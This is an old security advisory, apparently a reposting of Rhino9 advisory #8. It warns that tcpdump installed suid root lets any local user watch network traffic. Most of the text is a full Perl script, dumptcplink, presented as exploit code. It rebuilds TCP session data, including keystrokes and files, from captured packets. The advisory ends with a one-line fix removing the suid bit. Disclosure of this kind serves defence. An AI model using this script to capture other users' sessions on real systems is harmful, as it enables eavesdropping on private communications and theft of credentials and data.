COMMAND
tcpdump
SYSTEMS AFFECTED
Systems running tcpdump
PROBLEM
Following info is based on Rhino9 advisory #8. The program
tcpdump, readily available off of:
ftp://sunsite.unc.edu/pub/Linux/system/network/sunacm/Other/tcpdump/
and other hosts, is set by default as suid root. Tcpdump is a
program that shows detailed information about different packets
and where they are going. Because the program is suid root, any
user running the program may be able to watch every connection
over your eth0 (ethernet) or ppp0(point-to-point) connection with
root privlages. This could probably be acceptable until you see
the program at the bottom of this advisory. The program,
dumptcplink, is a program that takes packets seen by the tcpdump
program and reconstructs the original data. This allows for
screen captures of any events that may take place on the system.
Any data moved across the network is all in reach of our attacker.
Credit goes to module1. Exploit code follows:
#!/usr/bin/perl
#
# dumptcplink V1.1.
#
# This script has the same command line interface as tcpdump since
# it's fed directly to tcpdump. The output is a bunch of files
# containing the tcp data and can be quite useful when you need to
# reconstruct the original data. eg a .gif file. In case you
# haven't picked it up yet, you need tcpdump from
# ftp://ftp.ee.lbl.gov/tcpdump.tar.Z Since this is always the
# latest version I will attempt to stay compatible with it alone.
#
# It doesn't do sequence number checking yet (it's stateless),
# meaning amongst other things that if you run it on a loopback
# interface, you'll see two of everything unless you have a good
# filter, since all packets will be captured twice. Once going
# out, once going in. 'inbound/outbound' would be perfect if they
# worked.
#
# You can probably speed it up with a good filter too. eg, you
# don't want to be bothered by non-tcp and non-data-carrying
# packets since they are (read should be) ignored anyway. You can
# safely add these to the line that opens tcpdump, just as I've
# added "-x", but I get the feeling this is The Wrong Thing, since
# it could screw up the "compatibility" with tcpdumps command
# line.
# You probably want to wind the tcpdump packet capture size up to
# that of a full packet (with -s) unless you're only trying to
# capture keystrokes and gosh, why would you want to do that?
#
# Possible Future enhancements:
# * Sequence checking?
# * IPV6 (naturaly). Gotta add some state checking for this.
# Might as well do a proper job.
# * Decoding of non-IP protocols.
# * Decoding of higher layer protocols. Ugh. Feature creap. A
# better idea is to write a script to decode the output files.
# * Is there a useful general way to decode udp data? tcpdump
# does a lot of that anyway.
# * Additional output format with timestamps and possibly with
# incoming and outgoing streams merged. This gives rise to a
# special reader like the one on www.takedown.com. Merging
# the streams may be difficult/unworkable since tcpdump can
# get confused about who's sending what on linux with
# masquerading.
#
# License: GPL or Artistic. Choose one only. They are
# incompatible.
# GPL: http://www.gnu.org/copyleft/gpl.html
# Artistic License: http://language.perl.com/misc/Artistic.html
#
# Run tcpdump with the args that were given to us.
open (STDIO,"tcpdump -x @ARGV |");
# Change back to the real user. Consider the line above. This is
# only realy applicable if you want it to run setuid root, and to
# do that you need to add an $ENV{PATH}= statement to pacify perls
# security features. You can get around all this by running
# tcpdump suid root.
#$>=$<;$)=$(;
$opened="::";
$tcpData="";
$fh="";
# Profiling code. See alarmhandler().
#$picks=$opens=0;
#$state="[start]";
#$SIG{ALRM}='alarmhandler';
#alarm 1;
line: while () {
$procLine++;
# tcpdump description line.
if (/^\d/) {
@Fld = split(' ', $_, 5);
$sourceDest = "$Fld[1]:$Fld[3]";
$procLine = -1;
$tcpDataLine=$ipLen=$turbo=0;
$lookForNow="procIpHeader";
next line;
}
# Turbo Mode for large data packets.
if ($turbo!=0) {
dataLineOut();
next line;
}
# Prepare line (now containing hex chars only) for substr();
# This is a bottleneck.
s/\W//g;
# How do you do a switch in perl again?
goto $lookForNow;
# First line of packet data (ip header).
procIpHeader:
if (($procLine == 0) && (substr($_,18,2)=="06")) {
$ipHeaderLen = ((hex substr($_, 1, 1)) << 2);
$tcpHeaderLenLine = (($ipHeaderLen+12) >> 4);
$tcpHeaderLenWord = (($ipHeaderLen+12) % 16);
$ipLen = hex substr($_,4,4);
$ipEndLine = $ipLen>>4;
$ipEndWord = $ipLen%16;
$lookForNow="procTcpHeader";
}
next line;
# Process tcp header. There's only one thing we need to do here.
procTcpHeader:
if ($procLine == $tcpHeaderLenLine) {
$HeaderLen = $ipHeaderLen+((hex substr($_,($tcpHeaderLenWord<<1), 1)) << 2);
$tcpDataLine = (($HeaderLen) >> 4);
$tcpDataWord = (($HeaderLen) % 16);
$lookForNow="extract";
}
if ($ipLen<=($HeaderLen)) {next line}
# Extract tcp data. Want to get rid of tcpDataLine.
extract:
if ($tcpDataLine && $tcpDataLine<=$procLine && $procLine<=$ipEndLine) {
$turbo=ipEndLine-$procLine;
dataLineOut();
}
}
# Flush the remaining data.
$tcpData=~s/\W//g;
printf $fh pack ("H*",$tcpData);
alarmhandler();
sub dataLineOut {
# This entire function is a bottleneck. Specialy for large packets.
if ($tcpDataLine==$procLine) {
# Write the previous packet to disk and grab the new packet.
# One big subst is faster than lots of little ones.
# This assumes we have pure hex char pairs.
$tcpData=~s/\W//g;
printf $fh pack ("H*",$tcpData);
&Pick('>>', $sourceDest) || print ("File open error") ;
$tcpData=substr($_,($tcpDataWord<<1));
} else { $tcpData.=$_; }
if ($procLine==$ipEndLine) {
# Remove end of packet garbage.
# Can be omitted if you know there is none.
#$tcpData=substr($tcpData,1,($ipLen-$HeaderLen)<<1);
$turbo=($ipEndLine-$procLine);
}
}
# Needs a cache of open files. This isn't the bottleneck though.
# dataLineOut() calls this function a long time before data is
# written to the file, which speeds things up since open() is in
# non-blocking mode. This appears to be true for linux-2.0 anyway
sub Pick {
$picks++;
local($mode,$name) = @_;
if ($opened ne $name) {
$opens++;
close($fh);
$opened = $name;
open($fh,"$mode$name");
$return=1;
} else { $return=1; }
return $return;
}
# Old but useful profiling code.
# Uncomment the profiling code at the top to use. You need to add
# $state= lines before points in the code you're trying to profile
sub alarmhandler {
$states{$state}++;
print (%states," $opens/$picks\n");
alarm 1;
}
SOLUTION
The easiest way to avoid all of this is to simply:
chmod -s tcpdump
This way normal users will no longer be permitted to use the
tcpdump program.